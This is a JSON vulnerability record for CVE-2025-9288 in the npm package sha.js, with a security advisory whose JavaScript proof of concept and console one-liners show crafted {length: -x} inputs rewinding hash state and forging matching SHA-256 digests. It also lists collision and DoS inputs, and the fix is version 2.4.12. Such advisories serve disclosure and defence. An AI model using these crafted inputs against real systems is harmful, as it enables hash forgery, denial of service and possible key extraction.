{"id":"CVE-2025-9288","aliases":["GHSA-95m3-7q98-8xr5"],"url":"https://o3.security/vulnerability/CVE-2025-9288","summary":"Missing type checks leading to hash rewind and passing on crafted data","details":"### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = sha('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)","published":"2025-08-20T21:59:44.728Z","modified":"2026-10-28T02:30:42.481207802Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"sha.js","fixedVersion":"2.4.12"}],"fix":{"url":"https://github.com/browserify/sha.js/pull/78","label":"browserify/sha.js#78"},"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"},{"type":"WEB","url":"https://npmjs.com/sha.js"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-9287"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/9xxx/CVE-2025-9288.json"},{"type":"ADVISORY","url":"https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9288"},{"type":"FIX","url":"https://github.com/browserify/sha.js/pull/78"},{"type":"PACKAGE","url":"https://github.com/browserify/sha.js"},{"type":"WEB","url":"https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:42.481207802Z"}}